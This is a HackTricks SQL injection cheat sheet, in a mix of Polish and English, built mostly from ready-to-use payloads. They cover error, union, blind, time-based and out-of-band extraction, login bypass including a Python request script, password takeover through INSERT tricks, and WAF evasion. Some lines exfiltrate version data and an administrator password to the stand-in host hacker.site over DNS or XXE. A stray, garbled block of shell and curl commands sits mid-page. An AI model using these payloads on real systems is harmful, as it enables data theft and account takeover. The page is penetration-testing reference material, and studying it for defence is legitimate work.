SQL Injection

Reading time: 21 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest SQL injection?

SQL injection to luka bezpieczeństwa, która pozwala atakującym ingerować w zapytania do bazy danych aplikacji. Ta podatność może umożliwić atakującym przeglądanie, modyfikowanie lub usuwanie danych, do których nie powinni mieć dostępu, w tym informacji innych użytkowników lub jakichkolwiek danych dostępnych dla aplikacji. Takie działania mogą skutkować trwałymi zmianami w funkcjonalności lub zawartości aplikacji, a nawet kompromitacją serwera lub odmową usługi.

Wykrywanie punktu wejścia

Kiedy strona wydaje się być podatna na SQL injection (SQLi) z powodu nietypowych odpowiedzi serwera na wejścia związane z SQLi, pierwszym krokiem jest zrozumienie, jak wstrzyknąć dane do zapytania bez jego zakłócenia. To wymaga zidentyfikowania metody skutecznego ucieczki z bieżącego kontekstu. Oto kilka przydatnych przykładów:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Następnie musisz wiedzieć, jak naprawić query, żeby nie było błędów. Aby naprawić query możesz input dane tak, aby poprzednie query zaakceptowało nowe dane, albo możesz po prostu input swoje dane i dodać symbol komentarza na końcu.

Zauważ, że jeśli widzisz komunikaty o błędach lub potrafisz dostrzec różnice, gdy query działa, a gdy nie, ta faza będzie łatwiejsza.

Komentarze

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Potwierdzanie za pomocą operacji logicznych

Niezawodną metodą potwierdzenia podatności na SQL injection jest wykonanie operacji logicznej i obserwowanie oczekiwanych wyników. Na przykład parametr GET taki jak ?username=Peter, zwracający identyczną zawartość po zmianie na ?username=Peter' or '1'='1, wskazuje na podatność na SQL injection.

Podobnie zastosowanie operacji matematycznych stanowi skuteczną technikę potwierdzenia. Na przykład, jeśli dostęp do ?id=1 i ?id=2-1 zwraca ten sam wynik, wskazuje to na SQL injection.

Przykłady demonstrujące potwierdzenie przez operacje logiczne:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Ta lista słów została stworzona, aby spróbować potwierdzić SQLinjections zaproponowaną metodą:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Potwierdzanie przez pomiar czasu

W niektórych przypadkach nie zauważysz żadnej zmiany na stronie, którą testujesz. Dlatego dobrym sposobem na wykrycie blind SQL injections jest zmuszenie DB do wykonania działań, które będą miały wpływ na czas ładowania strony.
Dlatego zamierzamy concat w SQL query operację, która zajmie dużo czasu, aby się wykonać:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

W niektórych przypadkach funkcje sleep nie będą dozwolone. Wtedy, zamiast używać tych funkcji, możesz spowodować, że zapytanie wykona złożone operacje, które zajmą kilka sekund. Przykłady tych technik będą omawiane osobno dla każdej technologii (jeśli występują).

Identyfikacja Back-endu

Najlepszym sposobem na identyfikację back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć sleep funkcji z poprzedniej sekcji lub tych (tabela z payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Also, jeśli masz dostęp do wyjścia zapytania, możesz spowodować, żeby wyświetliło wersję bazy danych.

tip

W dalszej części omówimy różne metody eksploatacji różnych rodzajów SQL Injection. Jako przykład użyjemy MySQL.

Identyfikacja przy użyciu PortSwigger

SQL injection cheat sheet | Web Security Academy

Wykorzystywanie Union Based

Wykrywanie liczby kolumn

Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób na jego exploitację.
Najpierw musimy ustalić liczbę kolumn, które zwraca początkowe żądanie. Dzieje się tak, ponieważ oba zapytania muszą zwracać tę samą liczbę kolumn.
Do tego celu zwykle stosuje się dwie metody:

Order/Group by

Aby określić liczbę kolumn w zapytaniu, stopniowo zwiększaj liczbę używaną w klauzulach ORDER BY lub GROUP BY, aż otrzymasz fałszywą odpowiedź. Pomimo odmiennych funkcji GROUP BY i ORDER BY w SQL, obie można wykorzystać w identyczny sposób do ustalenia liczby kolumn zwracanych przez zapytanie.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Select coraz więcej wartości null, aż zapytanie będzie poprawne:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Powinieneś używać wartości null, ponieważ w niektórych przypadkach typ kolumn po obu stronach zapytania musi być taki sam, a null jest poprawny w każdym przypadku.

Wyodrębnianie nazw baz danych, nazw tabel i nazw kolumn

W poniższych przykładach pobierzemy nazwy wszystkich baz danych, nazwę tabeli z danej bazy oraz nazwy kolumn tabeli:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Istnieje inny sposób odkrywania tych danych w każdej bazie danych, ale metodologia jest zawsze ta sama.

Exploiting Hidden Union Based

When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a hidden union-based injection. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.

This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.

Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.

For more comprehensive insights, refer to the complete article available at Healing Blind Injections.

Exploiting Error based

If for some reason you nie możesz see the output of the query but you can zobaczyć error messages, you can make this error messages to ex-filtrate data from the database.
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

W tym przypadku nie możesz zobaczyć wyników zapytania ani błędów, ale możesz rozróżnić, kiedy zapytanie zwraca odpowiedź true lub false, ponieważ na stronie pojawiają się różne treści.
W takim przypadku możesz wykorzystać to zachowanie, aby zrzucać bazę danych znak po znaku:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Wykorzystywanie Error Blind SQLi

To jest ten sam przypadek co wcześniej, ale zamiast rozróżniać odpowiedź true/false z zapytania możesz rozróżnić, czy występuje błąd w zapytaniu SQL czy nie (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić SQLerror za każdym razem, gdy poprawnie odgadniesz char:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

W tym przypadku nie ma żadnego sposobu, aby rozróżnić odpowiedź zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona będzie się ładować dłużej, jeśli odgadnięty znak jest poprawny. Widzieliśmy już wcześniej użycie tej techniki, aby confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Możesz użyć stacked queries, aby wykonać wiele zapytań jedno po drugim. Zauważ, że chociaż kolejne zapytania są wykonywane, wyniki nie są zwracane do aplikacji. Stąd ta technika jest przede wszystkim użyteczna w odniesieniu do blind vulnerabilities, gdzie możesz użyć drugiego zapytania, aby wywołać DNS lookup, warunkowy błąd lub opóźnienie czasowe.

Oracle nie obsługuje stacked queries. MySQL, Microsoft i PostgreSQL je obsługują: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Jeśli no-other exploitation method worked, możesz spróbować sprawić, aby database ex-filtrate informacje do external host kontrolowanego przez Ciebie. Na przykład, za pomocą zapytań DNS:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Eksfiltracja danych poza pasmem za pomocą XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Zautomatyzowana eksploatacja

Sprawdź SQLMap Cheatsheet, aby wykorzystać podatność SQLi za pomocą sqlmap.

Informacje specyficzne dla technologii

Omówiliśmy już wszystkie sposoby wykorzystania podatności SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazy danych w tej książce:

Możesz też znaleźć wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Omijanie uwierzytelniania

Lista do wypróbowania, aby obejść funkcję logowania:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

To zapytanie pokazuje podatność, gdy MD5 jest używany z true dla surowego wyjścia w kontrolach uwierzytelniania, co czyni system podatnym na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które po zahashowaniu generują nieoczekiwane fragmenty poleceń SQL, prowadząc do nieautoryzowanego dostępu.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Zalecana lista:

Użyj jako username każdej linii listy i jako password zawsze: Pass1234.\
(Te payloads są również zawarte w dużej liście wspomnianej na początku tej sekcji)

GBK Authentication Bypass

Jeśli ' jest escaped, możesz użyć %A8%27, a gdy ' zostanie escaped, powstanie: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Skrypt Pythona:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Instrukcja INSERT

Zmiana hasła istniejącego obiektu/użytkownika

Aby to zrobić, spróbuj utworzyć nowy obiekt o nazwie takiej jak "master object" (prawdopodobnie admin w przypadku użytkowników), modyfikując coś:

  • Utwórz użytkownika o nazwie: AdMIn (wielkie & małe litery)
  • Utwórz użytkownika o nazwie: admin=
  • SQL Truncation Attack (gdy istnieje jakiś limit długości w nazwie użytkownika lub emailu) --> Utwórz użytkownika o nazwie: admin [a lot of spaces] a

SQL Truncation Attack

If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.

The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 spaces]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Uwaga: Ten atak nie będzie już działać w sposób opisany powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal domyślnie ignorują końcowe spacje, próba wstawienia łańcucha dłuższego niż długość pola spowoduje błąd, a wstawienie się nie powiedzie. Aby uzyskać więcej informacji o tej kontroli: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Dodaj tyle ','','', ile uważasz za konieczne, aby opuścić instrukcję VALUES. Jeśli zostanie wykonane opóźnienie, masz SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klauzula ON DUPLICATE KEY UPDATE w MySQL jest używana do określenia działań, jakie baza danych ma podjąć, gdy próbuje się wstawić wiersz, który spowodowałby duplikat wartości w UNIQUE index lub PRIMARY KEY. Poniższy przykład pokazuje, jak tę funkcję można wykorzystać do zmiany hasła konta administratora:

Przykład payloadu injekcji:

Payload injekcji może być skonstruowany w następujący sposób, gdzie próbuje się wstawić dwa wiersze do tabeli users. Pierwszy wiersz jest wabikiem (decoy), a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Oto jak to działa:

  • Zapytanie próbuje wstawić dwa wiersze: jeden dla generic_user@example.com i drugi dla admin_generic@example.com.
  • Jeśli wiersz dla admin_generic@example.com już istnieje, klauzula ON DUPLICATE KEY UPDATE zostaje wywołana, instruując MySQL, aby zaktualizował pole password istniejącego wiersza na "bcrypt_hash_of_newpassword".
  • W konsekwencji można następnie spróbować uwierzytelnienia używając admin_generic@example.com z hasłem odpowiadającym hashowi bcrypt ("bcrypt_hash_of_newpassword" oznacza hash bcrypt nowego hasła, który powinien zostać zastąpiony rzeczywistym hashem wybranego hasła).

Wyodrębnianie informacji

Tworzenie 2 kont jednocześnie

Przy próbie utworzenia nowego użytkownika wymagane są nazwa użytkownika, hasło i adres e-mail:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Używanie systemu dziesiętnego lub szesnastkowego

Dzięki tej technice możesz wydobyć informacje tworząc tylko 1 konto. Ważne jest, że nie musisz nic komentować.

Używając hex2dec i substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Aby pobrać tekst możesz użyć:

  • cat src/pentesting-web/sql-injection/README.md
  • less src/pentesting-web/sql-injection/README.md
  • sed -n '1,200p' src/pentesting-web/sql-injection/README.md
  • git show HEAD:src/pentesting-web/sql-injection/README.md
  • curl -s https://raw.githubusercontent.com////src/pentesting-web/sql-injection/README.md (zamień //)
python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Używając hex i replace (oraz substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection występuje wtedy, gdy injectable query nie jest tym, które zwraca output, lecz output z injectable query trafia do query, które zwraca output. (From Paper)

Przykład:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass przy użyciu alternatyw dla białych znaków

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass przy użyciu komentarzy

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass używając nawiasów

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass z użyciem OFFSET, FROM i JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Ogólne obejścia

Czarna lista oparta na słowach kluczowych - obejście przez użycie wielkich/małych liter

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist używający słów kluczowych bez rozróżniania wielkości liter - bypass przy użyciu równoważnego operatora

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Omijanie WAF przez notację naukową

Szczegółowe wyjaśnienie tego triku można znaleźć na gosecure blog.
W skrócie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Omijanie ograniczenia nazw kolumn

Przede wszystkim zwróć uwagę, że jeśli oryginalne zapytanie i tabela o nazwie flag mają taką samą liczbę kolumn, możesz po prostu zrobić: 0 UNION SELECT * FROM flag

Można uzyskać dostęp do trzeciej kolumny tabeli bez używania jej nazwy za pomocą zapytania takiego jak: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, więc w sqlinjection wyglądałoby to tak:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Lub używając comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ten trik został zaczerpnięty z https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection w liście SELECT za pomocą subqueries

Jeżeli dane od użytkownika są konkatenowane do listy SELECT lub do identyfikatorów tabel/kolumn, prepared statements nie pomogą, ponieważ bind parameters chronią tylko wartości, a nie identyfikatory. Powszechny podatny wzorzec wygląda tak:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Pomysł eksploatacji: wstrzyknąć subquery w pozycji pola, aby exfiltrate dowolne dane:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Notes:

  • To działa nawet gdy klauzula WHERE używa parametru powiązanego, ponieważ lista identyfikatorów jest nadal konkatenowana jako string.
  • Niektóre stosy dodatkowo pozwalają kontrolować nazwę tabeli (tablename injection), umożliwiając odczyty między tabelami.
  • Kanały wyjścia mogą odzwierciedlać wybraną wartość w HTML/JSON, pozwalając na XSS lub wykradanie tokenów bezpośrednio z odpowiedzi.

Mitigations:

  • Nigdy nie konkatenować identyfikatorów pochodzących z wejścia użytkownika. Mapuj dozwolone nazwy kolumn do stałej listy dozwolonych wartości i poprawnie cytuj identyfikatory.
  • Jeśli wymagany jest dynamiczny dostęp do tabel, ogranicz go do skończonego zestawu i rozwiąż po stronie serwera za pomocą bezpiecznego mapowania.

Narzędzia sugerujące obejścia WAF

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Inne przewodniki

Lista wykrywania Brute-Force

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks